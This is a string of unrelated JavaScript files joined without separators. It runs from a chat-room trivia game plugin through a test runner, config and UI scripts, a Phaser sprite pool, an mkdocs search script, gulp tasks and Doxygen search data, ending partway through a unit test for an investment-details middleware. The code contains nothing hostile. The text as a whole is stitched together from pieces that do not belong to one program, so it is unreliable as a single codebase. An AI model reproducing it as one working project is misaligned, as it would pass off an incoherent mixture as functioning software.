+ " in progress."); } let tarUser; if (target) { this.splitTarget(target); if (!this.targetUser) return this.errorReply("User " + target + " does not exist."); tarUser = this.targetUser; } else { tarUser = user; } let game = room.game; let buffer = 'There is a trivia game in progress, and it is in its ' + game.phase + ' phase.<br />' + 'Mode: ' + game.mode + ' | Category: ' + game.category + ' | Score cap: ' + game.cap; let player = game.players[tarUser.userid]; if (player) { if (!this.broadcasting) { buffer += '<br />Current score: ' + player.points + ' | Correct Answers: ' + player.correctAnswers; } } else if (tarUser.userid !== user.userid) { return this.errorReply("User " + tarUser.name + " is not a player in the current trivia game."); } buffer += '<br />Players: ' + room.game.formatPlayerList(); this.sendReplyBox(buffer); }, statushelp: ["/trivia status [player] - lists the player's standings (your own if no player is specified) and the list of players in the current trivia game."], submit: 'add', add: function (target, room, user, connection, cmd) { if (room.id !== 'questionworkshop') return this.errorReply('This command can only be used in Question Workshop.'); if (cmd === 'add' && !this.can('mute', null, room) || !target) return false; if (!this.canTalk()) return; target = target.split('|'); if (target.length !== 3) return this.errorReply("Invalid arguments specified. View /help trivia for more information."); let category = toId(target[0]); if (!CATEGORIES[category]) return this.errorReply("'" + target[0].trim() + "' is not a valid category. View /help trivia for more information."); let question = Chat.escapeHTML(target[1].trim()); if (!question) return this.errorReply("'" + target[1] + "' is not a valid question."); if (question.length > MAX_QUESTION_LENGTH) { return this.errorReply("This question is too long! It must remain under " + MAX_QUESTION_LENGTH + " characters."); } if (triviaData.submissions.some(s => s.question === question) || triviaData.questions.some(q => q.question === question)) { return this.errorReply("Question \"" + question + "\" is already in the trivia database."); } let cache = new Set(); let answers = target[2].split(',') .map(toId) .filter(answer => !cache.has(answer) && !!cache.add(answer)); if (!answers.length) return this.errorReply("No valid answers were specified."); if (answers.some(answer => answer.length > MAX_ANSWER_LENGTH)) { return this.errorReply("Some of the answers entered were too long! They must remain under " + MAX_ANSWER_LENGTH + " characters."); } let submissions = triviaData.submissions; let submission = { category: category, question: question, answers: answers, user: user.userid, }; if (cmd === 'add') { triviaData.questions.splice(findEndOfCategory(category, false), 0, submission); writeTriviaData(); return this.privateModCommand("(Question '" + target[1] + "' was added to the question database by " + user.name + ".)"); } submissions.splice(findEndOfCategory(category, true), 0, submission); writeTriviaData(); if (!user.can('mute', null, room)) this.sendReply("Question '" + target[1] + "' was submitted for review."); this.privateModCommand("(" + user.name + " submitted question '" + target[1] + "' for review.)"); }, submithelp: ["/trivia submit [category] | [question] | [answer1], [answer2] ... [answern] - Add a question to the submission database for staff to review."], addhelp: ["/trivia add [category] | [question] | [answer1], [answer2], ... [answern] - Add a question to the question database. Requires: % @ # & ~"], review: function (target, room) { if (room.id !== 'questionworkshop') return this.errorReply('This command can only be used in Question Workshop.'); if (!this.can('ban', null, room)) return false; let submissions = triviaData.submissions; let submissionsLen = submissions.length; if (!submissionsLen) return this.sendReply("No questions await review."); let buffer = "|raw|<div class=\"ladder\"><table>" + "<tr><td colspan=\"4\"><strong>" + submissionsLen + "</strong> questions await review:</td></tr>" + "<tr><th>#</th><th>Category</th><th>Question</th><th>Answer(s)</th><th>Submitted By</th></tr>"; let i = 0; while (i < submissionsLen) { let entry = submissions[i]; buffer += "<tr><td><strong>" + (++i) + "</strong></td><td>" + entry.category + "</td><td>" + entry.question + "</td><td>" + entry.answers.join(", ") + "</td><td>" + entry.user + "</td></tr>"; } buffer += "</table></div>"; this.sendReply(buffer); }, reviewhelp: ["/trivia review - View the list of submitted questions. Requires: @ # & ~"], reject: 'accept', accept: function (target, room, user, connection, cmd) { if (room.id !== 'questionworkshop') return this.errorReply('This command can only be used in Question Workshop.'); if (!this.can('ban', null, room)) return false; if (!this.canTalk()) return; target = target.trim(); if (!target) return false; let isAccepting = cmd === 'accept'; let questions = triviaData.questions; let submissions = triviaData.submissions; let submissionsLen = submissions.length; if (toId(target) === 'all') { if (isAccepting) { for (let i = 0; i < submissionsLen; i++) { let submission = submissions[i]; questions.splice(findEndOfCategory(submission.category, false), 0, submission); } } triviaData.submissions = []; writeTriviaData(); return this.privateModCommand("(" + user.name + (isAccepting ? " added " : " removed ") + "all questions from the submission database.)"); } if (/^\d+(?:-\d+)?(?:, ?\d+(?:-\d+)?)*$/.test(target)) { let indices = target.split(','); // Parse number ranges and add them to the list of indices, // then remove them in addition to entries that aren't valid index numbers for (let i = indices.length; i--;) { if (!indices[i].includes('-')) { let index = Number(indices[i]); if (Number.isInteger(index) && index > 0 && index <= submissionsLen) { indices[i] = index; } else { indices.splice(i, 1); } continue; } let range = indices[i].split('-'); let left = Number(range[0]); let right = Number(range[1]); if (!Number.isInteger(left) || !Number.isInteger(right) || left < 1 || right > submissionsLen || left === right) { indices.splice(i, 1); continue; } do { indices.push(right); } while (--right >= left); indices.splice(i, 1); } indices.sort((a, b) => a - b); indices = indices.filter((entry, index) => !index || indices[index - 1] !== entry); let indicesLen = indices.length; if (!indicesLen) return this.errorReply("'" + target + "' is not a valid set of submission index numbers. View /trivia review and /help trivia for more information."); if (isAccepting) { for (let i = indicesLen; i--;) { let submission = submissions.splice(indices[i] - 1, 1)[0]; questions.splice(findEndOfCategory(submission.category, false), 0, submission); } } else { for (let i = indicesLen; i--;) { submissions.splice(indices[i] - 1, 1); } } writeTriviaData(); return this.privateModCommand("(" + user.name + " " + (isAccepting ? "added " : "removed ") + "submission number" + (indicesLen > 1 ? "s " : " ") + target + " from the submission database.)"); } this.errorReply("'" + target + "' is an invalid argument. View /help trivia for more information."); }, accepthelp: ["/trivia accept [index1], [index2], ... [indexn] OR all - Add questions from the submission database to the question database using their index numbers or ranges of them. Requires: @ # & ~"], rejecthelp: ["/trivia reject [index1], [index2], ... [indexn] OR all - Remove questions from the submission database using their index numbers or ranges of them. Requires: @ # & ~"], delete: function (target, room, user) { if (room.id !== 'questionworkshop') return this.errorReply('This command can only be used in Question Workshop.'); if (!this.can('mute', null, room)) return false; if (!this.canTalk()) return; target = target.trim(); if (!target) return false; let question = Chat.escapeHTML(target); if (!question) return this.errorReply("'" + target + "' is not a valid argument. View /help trivia for more information."); let questions = triviaData.questions; for (let i = 0; i < questions.length; i++) { if (questions[i].question === question) { questions.splice(i, 1); writeTriviaData(); return this.privateModCommand("(" + user.name + " removed question '" + target + "' from the question database.)"); } } this.errorReply("Question '" + target + "' was not found in the question database."); }, deletehelp: ["/trivia delete [question] - Delete a question from the trivia database. Requires: % @ # & ~"], qs: function (target, room, user) { if (room.id !== 'questionworkshop') return this.errorReply('This command can only be used in Question Workshop.'); let buffer = "|raw|<div class=\"ladder\"><table>"; if (!target) { if (!this.runBroadcast()) return false; let questions = triviaData.questions; let questionsLen = questions.length; if (!questionsLen) return this.sendReplyBox("No questions have been submitted yet."); let categories = Object.keys(CATEGORIES); let lastCategoryIdx = 0; buffer += "<tr><th>Category</th><th>Question Count</th></tr>"; for (let i = 0; i < categories.length; i++) { if (categories[i] === 'random') continue; let tally = findEndOfCategory(categories[i], false) - lastCategoryIdx; lastCategoryIdx += tally; buffer += "<tr><td>" + CATEGORIES[categories[i]] + "</td><td>" + tally + " (" + ((tally * 100) / questionsLen).toFixed(2) + "%)</td></tr>"; } buffer += "<tr><td><strong>Total</strong></td><td><strong>" + questionsLen + "</strong></td></table></div>"; return this.sendReply(buffer); } if (!this.can('mute', null, room)) return false; let category = toId(target); if (category === 'random') return false; if (!CATEGORIES[category]) return this.errorReply("'" + target + "' is not a valid category. View /help trivia for more information."); let list = sliceCategory(category); let listLen = list.length; if (!listLen) { buffer += "<tr><td>There are no questions in the " + CATEGORIES[target] + " category.</td></table></div>"; return this.sendReply(buffer); } if (user.can('declare', null, room)) { buffer += "<tr><td colspan=\"3\">There are <strong>" + listLen + "</strong> questions in the " + CATEGORIES[target] + " category.</td></tr>" + "<tr><th>#</th><th>Question</th><th>Answer(s)</th></tr>"; for (let i = 0; i < listLen; i++) { let entry = list[i]; buffer += "<tr><td><strong>" + (i + 1) + "</strong></td><td>" + entry.question + "</td><td>" + entry.answers.join(", ") + "</td><tr>"; } } else { buffer += "<td colspan=\"2\">There are <strong>" + listLen + "</strong> questions in the " + target + " category.</td></tr>" + "<tr><th>#</th><th>Question</th></tr>"; for (let i = 0; i < listLen; i++) { buffer += "<tr><td><strong>" + (i + 1) + "</strong></td><td>" + list[i].question + "</td></tr>"; } } buffer += "</table></div>"; this.sendReply(buffer); }, qshelp: [ "/trivia qs - View the distribution of questions in the question database.", "/trivia qs [category] - View the questions in the specified category. Requires: % @ # & ~", ], search: function (target, room, user) { if (room.id !== 'questionworkshop') return this.errorReply("This command can only be used in Question Workshop."); if (!this.can('broadcast', null, room)) return false; if (!target.includes(',')) return this.errorReply("No valid search arguments entered."); let [type, ...query] = target.split(','); type = toId(type); if (/^q(?:uestion)?s?$/.test(type)) { type = 'questions'; } else if (/^sub(?:mission)?s?$/.test(type)) { type = 'submissions'; } else { return this.sendReplyBox("No valid search category was entered. Valid categories: submissions, subs, questions. qs"); } query = query.join(',').trim(); if (!query) return this.errorReply("No valid search query as entered."); let results = triviaData[type].filter(q => q.question.includes(query)); if (!results.length) return this.sendReply(`No results found under the ${type} list.`); let buffer = "|raw|<div class=\"ladder\"><table><tr><th>#</th><th>Category</th><th>Question</th></tr>" + `<tr><td colspan="3">There are <strong>${results.length}</strong> matches for your query:</td></tr>`; buffer += results.map((q, i) => { return `<tr><td><strong>${i + 1}</strong></td><td>${q.category}</td><td>${q.question}</td></tr>`; }).join(''); buffer += "</table></div>"; this.sendReply(buffer); }, searchhelp: ["/trivia search [type], [query] - Searches for questions based on their type and their query. Valid types: submissions, subs, questions, qs. Requires: + % @ * & ~"], rank: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); let name; let userid; if (!target) { name = Chat.escapeHTML(user.name); userid = user.userid; } else { target = this.splitTarget(target, true); name = Chat.escapeHTML(this.targetUsername); userid = toId(name); } let score = triviaData.leaderboard[userid]; if (!score) return this.sendReplyBox("User '" + name + "' has not played any trivia games yet."); this.sendReplyBox( "User: <strong>" + name + "</strong><br />" + "Leaderboard score: <strong>" + score[0] + "</strong> (#" + score[3] + ")<br />" + "Total game points: <strong>" + score[1] + "</strong> (#" + score[4] + ")<br />" + "Total correct answers: <strong>" + score[2] + "</strong> (#" + score[5] + ")" + (triviaData.ugm ? "<br />UGM points: <strong>" + triviaData.ugm[userid] + "</strong>" : "") ); }, rankhelp: ["/trivia rank [username] - View the rank of the specified user. If none is given, view your own."], ladder: function (target, room) { if (room.id !== 'trivia') return this.errorReply('This command can only be used in Trivia.'); if (!this.runBroadcast()) return false; let ladder = triviaData.ladder; let leaderboard = triviaData.leaderboard; if (!ladder.length) return this.errorReply("No trivia games have been played yet."); let buffer = "|raw|<div class=\"ladder\"><table>" + "<tr><th>Rank</th><th>User</th><th>Leaderboard score</th><th>Total game points</th><th>Total correct answers</th></tr>"; for (let i = 0; i < ladder.length; i++) { let leaders = ladder[i]; for (let j = 0; j < leaders.length; j++) { let rank = leaderboard[leaders[j]]; let leader = Users.getExact(leaders[j]); leader = leader ? Chat.escapeHTML(leader.name) : leaders[j]; buffer += "<tr><td><strong>" + (i + 1) + "</strong></td><td>" + leader + "</td><td>" + rank[0] + "</td><td>" + rank[1] + "</td><td>" + rank[2] + "</td></tr>"; } } buffer += "</table></div>"; return this.sendReply(buffer); }, ladderhelp: ["/trivia ladder - View information about the top 15 users on the trivia leaderboard."], ugm: function (target, room, user) { if (room.id !== 'trivia') return this.errorReply("This command can only be used in Trivia."); if (!this.can('broadcast', null, room)) return false; let command = toId(target); if (command === 'enable') { if (triviaData.ugm) return this.errorReply("UGM mode is already enabled."); triviaData.ugm = {}; for (let i in triviaData.leaderboard) { triviaData.ugm[i] = 0; } CATEGORIES.ugm = 'Ultimate Gaming Month'; writeTriviaData(); return this.privateModCommand("(" + user.name + " enabled UGM mode.)"); } if (command === 'disable') { if (!triviaData.ugm) return this.errorReply("UGM mode is already disabled."); triviaData.questions = triviaData.questions.filter(q => q.category !== 'ugm'); delete triviaData.ugm; delete CATEGORIES.ugm; writeTriviaData(); return this.privateModCommand("(" + user.name + " disabled UGM mode.)"); } this.errorReply("Invalid target. Valid targets: enable, disable"); }, ugmhelp: ["/trivia ugm [setting] - Enable or disable UGM mode. Requires: # & ~"], }; module.exports = { CATEGORIES, MODES, SCORE_CAPS, triviaData, writeTriviaData, Trivia, FirstModeTrivia, TimerModeTrivia, NumberModeTrivia, commands: { trivia: commands, ta: commands.answer, // TODO: this is ugly as all hell, split it into sections triviahelp: [ "Modes:", "- First: the first correct responder gains 5 points.", "- Timer: each correct responder gains up to 5 points based on how quickly they answer.", "- Number: each correct responder gains up to 5 points based on how many participants are correct.", "Categories: Arts & Entertainment, Pok\u00e9mon, Science & Geography, Society & Humanities, Random, and All.", "Game lengths:", "- Short: 20 point score cap. The winner gains 3 leaderboard points.", "- Medium: 35 point score cap. The winner gains 4 leaderboard points.", "- Long: 50 point score cap. The winner gains 5 leaderboard points.", "Game commands:", "- /trivia new [mode], [category], [length] - Begin signups for a new trivia game. Requires: + % @ # & ~", "- /trivia join - Join a trivia game during signups.", "- /trivia start - Begin the game once enough users have signed up. Requires: + % @ # & ~", "- /ta [answer] - Answer the current question.", "- /trivia kick [username] - Disqualify a participant from the current trivia game. Requires: % @ # & ~", "- /trivia leave - Makes the player leave the game.", "- /trivia end - End a trivia game. Requires: + % @ # ~", "Question modifying commands:", "- /trivia submit [category] | [question] | [answer1], [answer2] ... [answern] - Add a question to the submission database for staff to review.", "- /trivia review - View the list of submitted questions. Requires: @ # & ~", "- /trivia accept [index1], [index2], ... [indexn] OR all - Add questions from the submission database to the question database using their index numbers or ranges of them. Requires: @ # & ~", "- /trivia reject [index1], [index2], ... [indexn] OR all - Remove questions from the submission database using their index numbers or ranges of them. Requires: @ # & ~", "- /trivia add [category] | [question] | [answer1], [answer2], ... [answern] - Add a question to the question database. Requires: % @ # & ~", "- /trivia delete [question] - Delete a question from the trivia database. Requires: % @ # & ~", "- /trivia qs - View the distribution of questions in the question database.", "- /trivia qs [category] - View the questions in the specified category. Requires: % @ # & ~", "Informational commands:", "- /trivia search [type], [query] - Searches for questions based on their type and their query. Valid types: submissions, subs, questions, qs. Requires: + % @ # & ~", "- /trivia status [player] - lists the player's standings (your own if no player is specified) and the list of players in the current trivia game.", "- /trivia rank [username] - View the rank of the specified user. If none is given, view your own.", "- /trivia ladder - View information about the top 15 users on the trivia leaderboard.", "- /trivia ugm [setting] - Enable or disable UGM mode. Requires: # & ~", ], }, };
import Obey from 'Obey'; import $ from 'jquery'; import Events from '../Events'; import tryCatch from '../utils/try-catch'; import printStack from '../utils/printStack'; import eachSeries from '../utils/each-series'; export default Test; function Test(scenario, example) { this.scenario = scenario; this.World = scenario.feature.World; this.steps = scenario.steps; this.skip = scenario.skip; this.given = scenario.given; this.tags = scenario.tags; this.example = example || {}; this.result = { passed: true, status: 'passed', error: null, failedStep: null, elapsedTime: 0, assertions: 0 }; this.example.result = this.result; } var fn = Test.prototype; fn.run = function() { Events.trigger('beforeTest'); var promise = new $.Deferred(); if (this.skip || this.given.length === 0) { this.result.passed = false; this.result.status = this.skip ? 'skipped' : 'pending'; this.elapsedTime = 'skipped'; promise.reject(); return promise; } this.runSteps().always( () => { promise.resolve(); Events.trigger('afterTest', this); }); return promise; }; fn.runSteps = function() { var promise = new $.Deferred(); var startTime = Date.now(); var world; tryCatch( () => { world = new this.World(); }, err => { this.result.passed = false; this.result.status = 'failed'; err.message = 'An error occurred in the World constructor. Received error: ' + err.message; err.stackArray = printStack(err); this.result.error = err; console.error(err.stack); }); if (! world) { return promise.resolve(); } world._init(this).then( () => { this.steps.forEach( step => { step.init(world); }); eachSeries(this.steps, (step, callback) => { this.runStep(step).always( response => { this.result.assertions += step.result.assertions.length; callback(response); }); }).then( () => { Obey.activeStep = null; this.result.elapsedTime = Date.now() - startTime; tryCatch( () => { world._destroy().then(promise.resolve); }, err => { this.result.passed = false; this.result.status = 'failed'; err.message = 'An error occurred in an After hook. Received error: ' + err.message; err.stackArray = printStack(err); this.result.error = err; console.error(err.stack); promise.resolve(); }); }); }); return promise; }; fn.runStep = function(step) { var promise = new $.Deferred(); this.lastStep = step; Obey.activeStep = null; if (! this.result.passed) { step.skip(); promise.resolve(); } else if (step.stepFunction === 'missing') { this.result.passed = false; this.result.status = 'missing'; this.result.failedStep = step; step.logMissing(); promise.resolve(); } else { step.run(this.example.data).done(promise.resolve).fail( () => { this.result.passed = false; this.result.failedStep = step; this.result.status = step.result.status; promise.reject(); }); } return promise; };
$(function() { $('#advance_search_form').trigger('submit'); });
// Copyright Joyent, Inc. and other Node contributors. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to permit // persons to whom the Software is furnished to do so, subject to the // following conditions: // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE // USE OR OTHER DEALINGS IN THE SOFTWARE. require.paths.unshift(__dirname); exports.bar = require('bar'); // surprise! this is not /p2/bar, this is /p1/bar
'use strict'; import BaseStore from './BaseStore'; import i18n from '../i18n'; import _ from 'lodash'; import EntitySpec from '../services/EntitySpec'; class ConfigStore extends BaseStore { constructor() { super(); } getInitialState() { return { config: null, }; } selectEndpoint() { this.reset(); } setConfig(config) { console.info('Update config', config); if (config.i18n) { _.each(config.i18n, (resources, lang) => { i18n.merge(resources, lang); }); } this._normalize(config); this.setState({ config: config }); } getEntitySpec(id) { let entityConfig = _.find(this.state.config.entities, entity => entity.id === id); if (entityConfig) { return new EntitySpec(entityConfig); } } _normalize(config) { _.each(config.entities, entity => { let features = entity.features = entity.features || {}; let list = features.list = features.list || {}; // Default is first 5 properties list.fields = list.fields || _.map(entity.schema.properties, (v,k) => k).slice(0,5); list.fields = list.fields.map( field => (typeof field === 'string') ? { id: field } : field); }); } /** * Return true when config is loaded */ hasConfig() { return !!this.state.config; } /** * Reset configuration for current endpoint */ reset() { this.setState({ config: null }); } } export default new ConfigStore();
(function( global, $ ) { "use strict"; /************************************************* * PRIVATE *************************************************/ // ----- VARS ----- // // ----- CONSTANTS ----- // // ----- GET/SET FUNCTIONS ----- // // ----- FUNCTIONS ----- // function init() { console.log( "init" ); $( ".rkt-parallax" ).rktParallax(); //$( ".rkt-parallax" ).rktParallax( { bleed: 500 } ); } // ----- EVENT LISTENERS ----- // function onReady( e ) { console.log( "onReady" ); init(); } function onLoad( e ) { console.log( "onLoad" ); $( ".rkt-parallax" ).rktParallax( "enable" ); } /************************************************* * CALL *************************************************/ $( document ).ready( onReady ); $( window ).load( onLoad ); })( this, jQuery );
/* * This file is part of thumbor-toy project. * * (c) Raphaël Benitte <thumbor-toy@rbenitte.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ var watermarkImages = [ ]; export default { common: { modes: [], source: { servers: [ { label: 'thumbor demo site', value: 'http://thumbor.thumborize.me/', images: [ { label: 'sample image', value: 'thumborize.me/static/img/beach.jpg' } ] } ] }, filters: [ 'blur', 'brightness', 'colorize', 'contrast', 'convolution', 'equalize', 'extract_focal', 'fill', 'format', 'grayscale', 'max_bytes', 'noise', 'no_upscale', 'quality', 'rgb', 'rotate', 'round_corner', 'saturation', 'sharpen', 'strip_icc', { type: 'watermark', settingsConfig: [ { choices: watermarkImages } ] } ] }, };
define([ 'utils/isArray', 'utils/isObject', 'utils/create' ], function ( isArray, isObject, create ) { 'use strict'; return function ( section, value ) { var fragmentOptions; fragmentOptions = { descriptor: section.descriptor.f, root: section.root, pNode: section.parentFragment.pNode, owner: section }; // if section is inverted, only check for truthiness/falsiness if ( section.descriptor.n ) { updateConditionalSection( section, value, true, fragmentOptions ); return; } // otherwise we need to work out what sort of section we're dealing with // if value is an array, or an object with an index reference, iterate through if ( isArray( value ) ) { updateListSection( section, value, fragmentOptions ); } // if value is a hash... else if ( isObject( value ) ) { if ( section.descriptor.i ) { updateListObjectSection( section, value, fragmentOptions ); } else { updateContextSection( section, fragmentOptions ); } } // otherwise render if value is truthy, unrender if falsy else { updateConditionalSection( section, value, false, fragmentOptions ); } }; function updateListSection ( section, value, fragmentOptions ) { var i, length, fragmentsToRemove; length = value.length; // if the array is shorter than it was previously, remove items if ( length < section.length ) { fragmentsToRemove = section.fragments.splice( length, section.length - length ); while ( fragmentsToRemove.length ) { fragmentsToRemove.pop().teardown( true ); } } // otherwise... else { if ( length > section.length ) { // add any new ones for ( i=section.length; i<length; i+=1 ) { // append list item to context stack fragmentOptions.contextStack = section.contextStack.concat( section.keypath + '.' + i ); fragmentOptions.index = i; if ( section.descriptor.i ) { fragmentOptions.indexRef = section.descriptor.i; } section.fragments[i] = section.createFragment( fragmentOptions ); } } } section.length = length; } function updateListObjectSection ( section, value, fragmentOptions ) { var id, fragmentsById; fragmentsById = section.fragmentsById || ( section.fragmentsById = create( null ) ); // remove any fragments that should no longer exist for ( id in fragmentsById ) { if ( value[ id ] === undefined && fragmentsById[ id ] ) { fragmentsById[ id ].teardown( true ); fragmentsById[ id ] = null; } } // add any that haven't been created yet for ( id in value ) { if ( value[ id ] !== undefined && !fragmentsById[ id ] ) { fragmentOptions.contextStack = section.contextStack.concat( section.keypath + '.' + id ); fragmentOptions.index = id; if ( section.descriptor.i ) { fragmentOptions.indexRef = section.descriptor.i; } fragmentsById[ id ] = section.createFragment( fragmentOptions ); } } } function updateContextSection ( section, fragmentOptions ) { // ...then if it isn't rendered, render it, adding section.keypath to the context stack // (if it is already rendered, then any children dependent on the context stack // will update themselves without any prompting) if ( !section.length ) { // append this section to the context stack fragmentOptions.contextStack = section.contextStack.concat( section.keypath ); fragmentOptions.index = 0; section.fragments[0] = section.createFragment( fragmentOptions ); section.length = 1; } } function updateConditionalSection ( section, value, inverted, fragmentOptions ) { var doRender, emptyArray, fragmentsToRemove, fragment; emptyArray = ( isArray( value ) && value.length === 0 ); if ( inverted ) { doRender = emptyArray || !value; } else { doRender = value && !emptyArray; } if ( doRender ) { if ( !section.length ) { // no change to context stack fragmentOptions.contextStack = section.contextStack; fragmentOptions.index = 0; section.fragments[0] = section.createFragment( fragmentOptions ); section.length = 1; } if ( section.length > 1 ) { fragmentsToRemove = section.fragments.splice( 1 ); while ( fragment = fragmentsToRemove.pop() ) { fragment.teardown( true ); } } } else if ( section.length ) { section.teardownFragments( true ); section.length = 0; } } });
/* global angular */ (function () { 'use strict'; angular.module('sky.submenu', ['sky.submenu.directive']); }());
// Phaser.GameObjects.SpritePool var Class = require('../../utils/Class'); var Sprite = require('../sprite/Sprite'); var ObjectPool = require('./ObjectPool'); // An Object Pool var SpritePool = new Class({ Extends: ObjectPool, initialize: function SpritePool (manager, maxSize, quantity, key, frame) { ObjectPool.call(this, manager, Sprite, maxSize, this.makeSprite, this); this.defaultKey = key; this.defaultFrame = frame; }, makeSprite: function () { var gameObject = new this.classType(this.scene, 0, 0, this.defaultKey, this.defaultFrame); this.displayList.add(gameObject); this.updateList.add(gameObject); gameObject.setActive(false); gameObject.setVisible(false); return gameObject; }, get: function (x, y) { var gameObject = this.getFreeGameObject(); gameObject.setPosition(x, y); return gameObject; } }); module.exports = SpritePool;
{ "name": "hls.js", "url": "https://github.com/dailymotion/hls.js.git" }
function getSearchTerm() { var sPageURL = window.location.search.substring(1); var sURLVariables = sPageURL.split('&'); for (var i = 0; i < sURLVariables.length; i++) { var sParameterName = sURLVariables[i].split('='); if (sParameterName[0] == 'q') { return sParameterName[1]; } } } $(document).ready(function () { var search_term = getSearchTerm() var $search_modal = $('#mkdocs_search_modal') var $searchResults = $('#mkdocs-search-results') var $searchInput = $('#mkdocs-search-query') if (search_term) { $searchInput.val(search_term) } var selectedPosition $searchInput.on('keyup', function (e) { // Need to wait a bit for search function to finish populating our results setTimeout(function () { // See if anything is inside the search results if ($.trim($searchResults.html()) !== '') { $searchResults.show() $searchResults.css('max-height', window.innerHeight - $searchResults[0].getBoundingClientRect().top - 100) var input = $searchInput.val().trim() var list = $searchResults.find('article') if (list.length > 0) { // var highlight = function (text, focus) { // var r = RegExp('(' + focus + ')', 'gi'); // return text.replace(r, '<strong>$1</strong>'); // } // var html = $searchResults.html() // $searchResults.html(highlight(html, input)) // Now reapply selection if (selectedPosition) { list[selectedPosition].addClass('selected') } } } else { $searchResults.hide() } }, 0) }) $search_modal.on('blur', function () { resetSearchResults(); }) $searchResults.on('click', 'article', function (e) { findAndOpenLink(this); // In case it just jumps down the page resetSearchResults(); }) function findAndOpenLink (articleEl) { var link = $(articleEl).find('a').attr('href') window.location.href = link; } function resetSearchResults () { $searchResults.empty(); $searchResults.hide(); } // Highlight.js hljs.initHighlightingOnLoad(); }); // Add the correct class to tables $('table').addClass('table'); /* Prevent disabled links from causing a page reload */ $('li.disabled a').click(function(event) { event.preventDefault(); })
function error(msg) { console.log(msg); } function processResponse(response) { if (response.status === 200) { let error = processResponseText(response.responseText); if (error) throw error; } else { error("Unexpected response status " + response.status); } }
var gulp = require('gulp'), ts = require('gulp-typescript'), sourcemaps = require('gulp-sourcemaps'), qunit = require('gulp-qunit'), runSequence = require('run-sequence').use(gulp); module.exports = function (meta) { var scaffold = meta.scaffolds.filter(function (scaffold) { return scaffold.name === 'test'; })[0]; if (!scaffold) return; gulp.task('test-build', function () { return gulp.src(scaffold.src) .pipe(sourcemaps.init()) .pipe(ts({ target: 'ES5', declaration: true, pathFilter: {'test': ''} })) .pipe(sourcemaps.write('./', {sourceRoot: '/', debug: true})) .pipe(gulp.dest('test/.build')); }); gulp.task('test-run', function () { return gulp.src('test/tests.html') .pipe(qunit()); }); gulp.task('test-watch', ['test'], function () { gulp.watch(['test/**/*.ts', '!test/lib/**/*.ts'], ['test-build']); gulp.watch(['dist/*', 'test/.build/**/*.js'], ['test-run']); }); gulp.task('test', function () { return runSequence('test-build', 'test-run'); }); };
var searchData= [ ['_7efile_5fstream',['~file_stream',['../dc/d1f/structbbb_1_1loggers_1_1file__stream.html#ad0e75a9b9766c4a1329034d4c24548d3',1,'bbb::loggers::file_stream']]], ['_7elogger_5fstream',['~logger_stream',['../d2/d3b/structbbb_1_1loggers_1_1detail_1_1logger__stream.html#a13542dc5d6ea31e4ce5236105c625723',1,'bbb::loggers::detail::logger_stream']]], ['_7emanager',['~manager',['../de/dc1/classbbb_1_1multithread_1_1manager.html#a699f1d766bb3f5b4f16f0d8e8975b849',1,'bbb::multithread::manager']]], ['_7ereusable_5farray',['~reusable_array',['../da/d8a/classbbb_1_1reusable__array.html#a586376c5972300a18ca0c2eff89bfb60',1,'bbb::reusable_array']]] ];
const { v4: uuid } = require('uuid') const { assign } = require('lodash') const { getYesterday } = require('../../../../../client/utils/date') const proxyquire = require('proxyquire') const config = require('../../../../../config') const paths = require('../../../paths') const companyData = require('../../../../../../test/unit/data/companies/company-v4.json') const yesterday = getYesterday() const metadataMock = { investmentTypeOptions: [ { id: '1', name: 'et1', disabled_on: null }, { id: '2', name: 'et2', disabled_on: yesterday }, { id: '3', name: 'et3', disabled_on: null }, ], referralSourceActivityOptions: [ { id: '1', name: 'rs1', disabled_on: null }, { id: '2', name: 'rs2', disabled_on: yesterday }, { id: '3', name: 'rs3', disabled_on: null }, ], fdiValueOptions: [ { id: '1', name: 'f1', disabled_on: null }, { id: '2', name: 'f2', disabled_on: yesterday }, { id: '3', name: 'f3', disabled_on: null }, ], referralSoureMarketingOptions: [ { id: '1', name: 'rsm1', disabled_on: null }, { id: '2', name: 'rsm2', disabled_on: yesterday }, { id: '3', name: 'rsm3', disabled_on: null }, ], referralSoureWebsiteOptions: [ { id: '1', name: 'rsm1', disabled_on: null }, { id: '2', name: 'rsm2', disabled_on: yesterday }, { id: '3', name: 'rsm3', disabled_on: null }, ], sectorOptions: [ { id: '1', name: 's1', disabled_on: null }, { id: '2', name: 's2', disabled_on: yesterday }, { id: '3', name: 's3', disabled_on: null }, ], investmentBusinessActivityOptions: [ { id: '1', name: 'iba1', disabled_on: null }, { id: '2', name: 'iba2', disabled_on: yesterday }, { id: '3', name: 'iba3', disabled_on: null }, ], investmentSpecificProgrammeOptions: [ { id: '1', name: 'isp1', disabled_on: null }, { id: '2', name: 'isp2', disabled_on: yesterday }, { id: '3', name: 'isp3', disabled_on: null }, ], investmentsInvestorTypeOptions: [ { id: '1', name: 'itt1', disabled_on: null }, { id: '2', name: 'itt2', disabled_on: yesterday }, { id: '3', name: 'itt3', disabled_on: null }, ], investmentInvolvementOptions: [ { id: '1', name: 'iio1', disabled_on: null }, { id: '2', name: 'iio2', disabled_on: yesterday }, { id: '3', name: 'iio3', disabled_on: null }, ], } describe('investment details middleware', () => { beforeEach(() => { this.next = sinon.stub() this.updateInvestmentStub = sinon.stub().resolves({ id: '999' }) this.createInvestmentStub = sinon.stub().resolves({ id: '888' }) this.getEquityCompanyDetailsStub = sinon.stub().resolves(companyData) this.req = { session: { token: uuid(), user: { id: '4321', name: 'Julie Brown', }, }, body: {}, params: {}, query: {}, } this.res = { locals: { paths, form: {}, }, redirect: sinon.stub(), } this.detailsMiddleware = proxyquire('../details', { '../../repos': { updateInvestment: this.updateInvestmentStub, createInvestmentProject: 